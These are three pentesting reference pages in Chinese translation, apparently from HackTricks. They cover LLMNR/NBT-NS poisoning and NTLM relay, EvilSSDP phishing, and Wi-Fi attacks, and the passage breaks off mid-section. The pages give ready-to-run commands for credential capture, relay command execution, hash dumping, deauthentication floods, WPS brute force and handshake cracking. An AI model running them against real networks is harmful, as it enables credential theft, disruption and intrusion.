# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 网络协议

### 本地主机解析协议

* **LLMNR、NBT-NS 和 mDNS**：
* Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。同样，Apple 和 Linux 系统使用 mDNS。
* 由于它们在 UDP 上的未经身份验证的广播特性，这些协议容易受到拦截和伪造的影响。
* [Responder](https://github.com/lgandx/Responder) 可以通过向查询这些协议的主机发送伪造响应来用于冒充服务。
* 可在[此处](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks)找到有关使用 Responder 进行服务冒充的更多信息。

### Web 代理自动发现协议（WPAD）

* WPAD 允许浏览器自动发现代理设置。
* 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来进行发现。
* Responder 可以自动执行 WPAD 攻击，将客户端重定向到恶意的 WPAD 服务器。

### Responder 用于协议毒化

* **Responder** 是一种用于毒化 LLMNR、NBT-NS 和 mDNS 查询的工具，根据查询类型有选择性地进行响应，主要针对 SMB 服务。
* 它预装在 Kali Linux 中，可在 `/etc/responder/Responder.conf` 中进行配置。
* Responder 会在屏幕上显示捕获的哈希值，并将其保存在 `/usr/share/responder/logs` 目录中。
* 它支持 IPv4 和 IPv6。
* 可在[此处](https://github.com/lgandx/Responder-Windows)获取 Responder 的 Windows 版本。

#### 运行 Responder

* 使用默认设置运行 Responder：`responder -I <Interface>`
* 进行更积极的探测（可能会产生副作用）：`responder -I <Interface> -P -r -v`
* 通过技术捕获 NTLMv1 挑战/响应以便更轻松地破解：`responder -I <Interface> --lm --disable-ess`
* 可以通过以下方式激活 WPAD 冒充：`responder -I <Interface> --wpad`
* NetBIOS 请求可以解析为攻击者的 IP，并可以设置身份验证代理：`responder.py -I <interface> -Pv`

### 使用 Responder 进行 DHCP 毒化

* 伪造 DHCP 响应可以永久毒化受害者的路由信息，提供了比 ARP 毒化更隐蔽的替代方案。
* 需要精确了解目标网络的配置。
* 运行攻击：`./Responder.py -I eth0 -Pdv`
* 该方法可以有效地捕获 NTLMv1/2 哈希，但需要小心处理以避免网络中断。

### 使用 Responder 捕获凭据

* Responder 将使用上述协议冒充服务，捕获凭据（通常是 NTLMv2 挑战/响应），当用户尝试对伪造的服务进行身份验证时。
* 可尝试降级到 NetNTLMv1 或禁用 ESS 以便更轻松地破解凭据。

需要强调的是，使用这些技术应该在合法和道德的前提下进行，确保获得适当的授权，避免造成干扰或未经授权的访问。

## Inveigh

Inveigh 是专为 Windows 系统设计的渗透测试人员和红队人员工具。它提供类似于 Responder 的功能，执行伪造和中间人攻击。该工具已从 PowerShell 脚本发展为 C# 二进制文件，主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细的参数和说明可以在[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)中找到。

Inveigh 可通过 PowerShell 运行：

```powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```

或者作为C#二进制文件执行：

```bash
Inveigh.exe
```

### NTLM Relay Attack

这种攻击利用SMB身份验证会话访问目标机器，如果成功则授予系统shell。关键先决条件包括：

* 认证用户必须在中继主机上具有本地管理员访问权限。
* SMB签名应该被禁用。

#### 445端口转发和隧道

在直接网络引入不可行的情况下，需要转发和隧道化445端口上的流量。像[**PortBender**](https://github.com/praetorian-inc/PortBender)这样的工具有助于将端口445的流量重定向到另一个端口，在本地管理员访问用于驱动加载时至关重要。

在Cobalt Strike中设置和操作PortBender：

```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```

### NTLM中继攻击的其他工具

* **Metasploit**：设置代理，本地和远程主机详细信息。
* **smbrelayx**：一个用于中继SMB会话并执行命令或部署后门的Python脚本。
* **MultiRelay**：Responder套件中的一个工具，用于中继特定用户或所有用户，执行命令或转储哈希。

每个工具都可以根据需要配置为通过SOCKS代理运行，即使只有间接网络访问也能进行攻击。

### MultiRelay操作

从 ***/usr/share/responder/tools*** 目录执行MultiRelay，针对特定的IP或用户。

```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic
```

### 强制 NTLM 登录

在 Windows 中，**您可能能够强制一些特权帐户对任意机器进行身份验证**。阅读以下页面以了解详情：

{% content-ref url="/pages/4DFfuVV4quMkp6CjmxLf" %}
[Force NTLM Privileged Authentication](/windows-hardening/active-directory-methodology/printers-spooler-service-abuse)
{% endcontent-ref %}

## 参考资料

* <https://intrinium.com/smb-relay-attack-tutorial/>
* <https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/>
* <https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/>
* <https://intrinium.com/smb-relay-attack-tutorial/>
* <https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


# Spoofing SSDP and UPnP Devices with EvilSSDP

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在HackTricks中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

**查看**[**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)**获取更多信息。**

## **SSDP和UPnP概述**

SSDP（简单服务发现协议）用于网络服务的广告和发现，运行在UDP端口1900上，无需DHCP或DNS配置。它在UPnP（通用即插即用）架构中起着基础作用，促进了计算机、打印机和移动设备等网络设备之间的无缝交互。UPnP的零配置网络支持设备发现、IP地址分配和服务广告。

## **UPnP流程和结构**

UPnP架构包括六个层：寻址、发现、描述、控制、事件和表示。最初，设备尝试获取IP地址或自动分配一个（AutoIP）。发现阶段涉及SSDP，设备积极发送M-SEARCH请求或被动广播NOTIFY消息以宣布服务。控制层对于客户端-设备交互至关重要，利用XML文件中的设备描述执行基于命令的SOAP消息。

## **IGD和工具概述**

IGD（Internet Gateway Device）在NAT设置中支持临时端口映射，允许通过开放的SOAP控制点接受命令，尽管标准WAN接口有限制。像**Miranda**这样的工具有助于UPnP服务发现和命令执行。**Umap**公开了可通过WAN访问的UPnP命令，而像**upnp-arsenal**这样的存储库提供了各种UPnP工具。**Evil SSDP**专门用于通过欺骗的UPnP设备进行网络钓鱼，提供模板来模仿合法服务。

## **Evil SSDP的实际用途**

Evil SSDP有效地创建令人信服的虚假UPnP设备，诱使用户与看似真实的服务进行交互。用户被真实外观欺骗，可能提供诸如凭据之类的敏感信息。该工具的多功能性延伸到各种模板，模仿扫描仪、Office365甚至密码保险库等服务，利用用户的信任和网络可见性。在捕获凭据后，攻击者可以将受害者重定向到指定的URL，保持欺骗的可信度。

## **缓解策略**

为了应对这些威胁，建议采取以下措施：

* 在不需要时关闭设备上的UPnP。
* 教育用户有关网络钓鱼和网络安全。
* 监控网络流量以防止未加密的敏感数据泄露。

总的来说，虽然UPnP提供了便利和网络流动性，但也为潜在的利用敞开了大门。意识和积极的防御是确保网络完整性的关键。


# Pentesting Wifi

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(1)%20(3)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
随时了解最新的赏金计划发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

## Wifi基本命令

```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
```

## 工具

### EAPHammer

```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```

### Airgeddon

Airgeddon是一个多用途的无线渗透测试工具，它结合了许多无线渗透测试工具的功能，使得渗透测试人员可以更轻松地执行各种无线渗透测试任务。

```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```

**使用docker运行airgeddon**

```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```

### wifiphisher

它可以执行恶意双胞胎、KARMA 和已知信标攻击，然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭证。

```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```

### [Wifite2](https://github.com/derv82/wifite2)

这个工具自动化执行 **WPS/WEP/WPA-PSK** 攻击。它会自动执行以下操作：

* 将接口设置为监听模式
* 扫描可能的网络 - 并让您选择受害者
* 如果是 WEP - 启动 WEP 攻击
* 如果是 WPA-PSK
* 如果是 WPS：Pixie dust 攻击和暴力破解攻击（请注意，暴力破解攻击可能需要很长时间）。请注意，它不会尝试空 PIN 或数据库/生成的 PIN。
* 尝试捕获来自 AP 的 PMKID 以进行破解
* 尝试使 AP 的客户端断开连接以捕获握手
* 如果有 PMKID 或握手，尝试使用前 5000 个密码进行暴力破解。

## 攻击摘要

* **DoS**
* 拒绝服务攻击/断开连接 -- 断开所有人（或特定的 ESSID/客户端）
* 随机虚假 AP -- 隐藏网络，可能导致扫描器崩溃
* 过载 AP -- 尝试使 AP 崩溃（通常不太有用）
* WIDS -- 与 IDS 交互
* TKIP，EAPOL -- 一些特定的攻击方式来对一些 AP 进行 DoS 攻击
* **破解**
* 破解 **WEP**（多种工具和方法）
* **WPA-PSK**
* **WPS** PIN “暴力破解”
* **WPA PMKID** 暴力破解
* \[DoS +] **WPA 握手** 捕获 + 破解
* **WPA-MGT**
* **用户名捕获**
* **暴力破解** 凭据
* **恶意双胞胎**（带或不带 DoS）
* **开放** 恶意双胞胎 \[+ DoS] -- 用于捕获强制门户凭据和/或执行局域网攻击
* **WPA-PSK** 恶意双胞胎 -- 如果您知道密码，用于网络攻击
* **WPA-MGT** -- 用于捕获公司凭据
* **KARMA, MANA**, **Loud MANA**, **已知信标**
* **+ 开放** -- 用于捕获强制门户凭据和/或执行局域网攻击
* **+ WPA** -- 用于捕获 WPA 握手

## DoS

### 拒绝服务攻击包

**来自** [**这里**：](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**

**拒绝服务** 攻击是 Wi-Fi 黑客中常见的一种方法，涉及伪造“管理”帧以**强制将设备从网络中断开**。这些未加密的数据包欺骗客户端，使其相信这些数据包来自合法网络，使攻击者能够收集用于破解的 WPA 握手或持续干扰网络连接。这种简单但令人震惊的策略被广泛使用，并对网络安全产生重大影响。

**使用 Aireplay-ng 进行拒绝服务攻击**

```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```

* -0 表示去认证
* 1 是要发送的去认证数量（如果需要，可以发送多个）；0 表示持续发送
* -a 00:14:6C:7E:40:80 是接入点的 MAC 地址
* -c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址；如果省略此项，则发送广播去认证（不总是有效）
* ath0 是接口名称

### 解关联数据包

**解关联数据包**，类似于去认证数据包，是 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备（如笔记本电脑或智能手机）与接入点（AP）之间的连接。解关联和去认证之间的主要区别在于它们的使用场景。当 AP 发出 **去认证数据包** 以明确从网络中移除恶意设备时，通常在 AP 正在关闭、重新启动或迁移时发送 **解关联数据包**，从而需要断开所有连接的节点。

**此攻击可通过 mdk4（模式 "d"）执行：**

```bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```

### **通过 mdk4 进行更多的 DOS 攻击**

**在** [**这里**](https://en.kali.tools/?p=864)**。**

**攻击模式 b: Beacon Flood 攻击**

发送信标帧以展示虚假的接入点给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃！

```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```

**攻击模式 a: 认证拒绝服务**

向范围内所有可访问的接入点（AP）发送认证帧可能会使这些AP过载，特别是当涉及大量客户端时。这种强烈的流量可能导致系统不稳定，导致一些AP冻结甚至重置。

```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```

**攻击模式 p: SSID探测和暴力破解**

探测接入点（AP）会检查SSID是否被正确显示，并确认AP的范围。这种技术，结合使用带有或不带有字典的**暴力破解隐藏的SSID**，有助于识别和访问隐藏网络。

**攻击模式 m: Michael对策利用**

向不同的QoS队列发送随机或重复的数据包可能会触发**TKIP AP**上的Michael对策，导致AP关闭一分钟。这种方法是一种高效的**DoS**（拒绝服务）攻击策略。

```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```

**攻击模式 e: EAPOL Start 和 Logoff 数据包注入**

通过向接入点（AP）发送大量的 **EAPOL Start 帧** 可以创建 **虚假会话**，使AP不堪重负并阻塞合法客户端。另一种方法是注入 **虚假的 EAPOL Logoff 消息** 强制断开客户端连接，这两种方法都能有效地干扰网络服务。

```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```

**攻击模式 s: 针对 IEEE 802.11s 网络的攻击**

针对网状网络中的链路管理和路由的各种攻击。

**攻击模式 w: WIDS 混淆**

将客户端交叉连接到多个 WDS 节点或虚假的伪装 AP 可以操纵入侵检测和预防系统，制造混乱并可能导致系统被滥用。

```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
```

**攻击模式 f: 数据包模糊器**

一个数据包模糊器，具有多样的数据包来源和用于数据包操作的全面修改器集合。

### **Airggedon**

***Airgeddon*** 提供了先前评论中提出的大部分攻击：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-bd3e75b5ed977aaf4150d5690f3c745dbe99cade%2Fimage%20\(126\).png?alt=media)

## WPS

WPS（Wi-Fi Protected Setup）简化了将设备连接到路由器的过程，增强了对使用**WPA**或**WPA2**个人加密网络的设置速度和便捷性。对于易受攻击的WEP安全性来说，WPS是无效的。WPS采用一个由两部分验证的8位数PIN，由于其有限的组合数量（11,000种可能性），容易受到暴力破解攻击的影响。

### WPS 暴力破解

有两个主要工具可执行此操作：Reaver 和 Bully。

* **Reaver** 旨在针对WPS进行强大而实用的攻击，并已针对各种接入点和WPS实现进行了测试。
* **Bully** 是WPS暴力破解攻击的**新实现**，用C语言编写。它相对于原始的reaver代码具有几个优点：较少的依赖性，改进的内存和CPU性能，正确处理字节序，以及更强大的选项集。

该攻击利用了**WPS PIN的漏洞**，特别是其暴露的前四位数字和最后一位数字作为校验和的作用，从而简化了暴力破解攻击。然而，对抗暴力破解攻击的防御措施，如**阻止攻击者的MAC地址**，需要进行**MAC地址轮换**以继续攻击。

通过使用类似Bully或Reaver的工具获取WPS PIN后，攻击者可以推断出WPA/WPA2 PSK，确保**持久的网络访问**。

```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```

**智能暴力破解**

这种精细的方法针对使用已知漏洞的WPS PIN：

1. **预先发现的PIN**：利用已知使用统一WPS PIN的特定制造商的PIN数据库。该数据库将MAC地址的前三个八位字节与这些制造商的可能PIN相关联。
2. **PIN生成算法**：利用ComputePIN和EasyBox等算法，根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID，为PIN生成过程增加了一层。

### WPS Pixie Dust攻击

**Dominique Bongard**发现了一些接入点（AP）在创建秘密代码（称为**nonce**（**E-S1**和**E-S2**））方面存在缺陷。如果能够找出这些nonce，破解AP的WPS PIN就变得容易。AP通过特殊代码（哈希）显示PIN，以证明其合法性，而不是伪造（恶意）AP。这些nonce本质上是解锁保存WPS PIN的“保险柜”的“钥匙”。更多信息请参阅[这里](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))。

简单来说，问题在于一些AP在连接过程中未使用足够随机的密钥加密PIN。这使得PIN容易受到外部网络（离线暴力破解攻击）的猜测。

```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```

如果您不想将设备切换到监视模式，或者`reaver`和`bully`存在一些问题，您可以尝试[OneShot-C](https://github.com/nikita-yfh/OneShot-C)。 这个工具可以执行 Pixie Dust 攻击，而无需切换到监视模式。

```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```

### 空 Pin 攻击

一些设计不良的系统甚至允许**空 PIN**（空或不存在的 PIN）授予访问权限，这是相当不寻常的。与**Bully** 不同，工具 **Reaver** 能够测试这种漏洞。

```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```

### Airgeddon

所有提出的WPS攻击都可以通过 ***airgeddon*** 轻松执行。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-13cc62a1d2fd5ca14e87ec61514f117b9d927b4a%2Fimage%20\(124\).png?alt=media)

* 步骤5和6允许您尝试 **自定义PIN**（如果有的话）
* 步骤7和8执行 **Pixie Dust攻击**
* 步骤13允许您测试 **NULL PIN**
* 步骤11和12将从可用数据库中 **重新收集与所选AP相关的PIN** 并使用以下方式生成可能的 **PIN**：ComputePIN、EasyBox，以及可选的Arcadyan（推荐，为什么不呢？）
* 步骤9和10将测试 **每个可能的PIN**

## **WEP**

现在已经破解且不再使用。只需知道 ***airgeddon*** 有一个名为“全能”的WEP选项来攻击这种保护。更多工具提供类似选项。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e4156b03795e8de5be3059171da0367ddeb84b63%2Fimage%20\(125\).png?alt=media)

***

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(1)%20(3)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界

**最新公告**\
了解最新的赏金任务发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

***

## WPA/WPA2 PSK

### PMKID

2018年，**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 了一种新的攻击方法，独特之处在于它只需要 **一个数据包**，并且不需要任何客户端连接到目标AP——只需攻击者与AP之间的交互。

许多现代路由器在关联期间的第一个EAPOL帧中添加了一个 **可选字段**，称为 `Robust Security Network`。其中包括 `PMKID`。

正如原始帖子所解释的那样，**PMKID** 是使用已知数据创建的：

```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```

鉴于"PMK名称"是恒定的，我们知道AP和站点的BSSID，并且`PMK`与完整的4路握手中的相同，**hashcat**可以使用此信息来破解PSK并恢复密码！

要**收集**此信息并在本地**暴力破解**密码，您可以执行：

```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```

```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```

**捕获到的PMKIDs**将显示在**控制台**中，并且也会**保存**在 \_/tmp/attack.pcap\_\
现在，将捕获的内容转换为**hashcat/john**格式并进行破解：

```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

请注意，正确的哈希格式包含**4个部分**，如：`4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 如果您的哈希值**只包含3个部分**，那么它是**无效的**（PMKID捕获无效）。

请注意，`hcxdumptool`**也会捕获握手**（类似于这样的内容将出现：**`MP:M1M2 RC:63258 EAPOLTIME:17091`**）。您可以使用`cap2hccapx`将**握手**转换为**hashcat**/**john**格式。

```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```

### 握手捕获

对**WPA/WPA2**网络的攻击可以通过捕获**握手**并尝试**离线破解**密码来执行。这个过程涉及监视特定网络和**BSSID**在特定**信道**上的通信。以下是简化的指南：

1. 确定目标网络的**BSSID**、**信道**和**已连接客户端**。
2. 使用`airodump-ng`来监视指定信道和BSSID上的网络流量，希望捕获一个握手。命令如下：

```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```

3. 为了增加捕获握手的机会，暂时断开客户端与网络的连接，强制重新认证。可以使用 `aireplay-ng` 命令来实现，该命令向客户端发送去认证数据包：

```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```

*注意，由于客户端被去认证，它可能会尝试连接到另一个接入点，或者在其他情况下，连接到另一个网络。*

一旦在 `airodump-ng` 中出现一些握手信息，这意味着已捕获到握手，您可以停止监听：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a3dddc9a036ed6a8902009d419d77f8f15eebbf4%2Fimage%20\(172\)%20\(1\).png?alt=media)

一旦捕获到握手，您可以使用 `aircrack-ng` 进行**破解**：

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```

### 检查文件中是否存在握手信息

**aircrack**

```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```

**tshark**

```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```

[**cowpatty**](https://github.com/roobixx/cowpatty)

```
cowpatty -r psk-01.cap -s "ESSID" -f -
```

*如果此工具在找到完整握手之前找到了 ESSID 的不完整握手，则不会检测到有效的握手。*

**pyrit**

```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```

## **WPA企业（MGT）**

在**企业WiFi设置中，您将遇到各种认证方法**，每种方法提供不同的安全级别和管理功能。当您使用诸如`airodump-ng`之类的工具来检查网络流量时，您可能会注意到这些认证类型的标识符。一些常见的方法包括：

```
6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
```

1. **EAP-GTC (通用令牌卡)**:

* 该方法支持硬件令牌和EAP-PEAP中的一次性密码。与MSCHAPv2不同，它不使用对等挑战，并将密码以明文形式发送到接入点，存在降级攻击的风险。

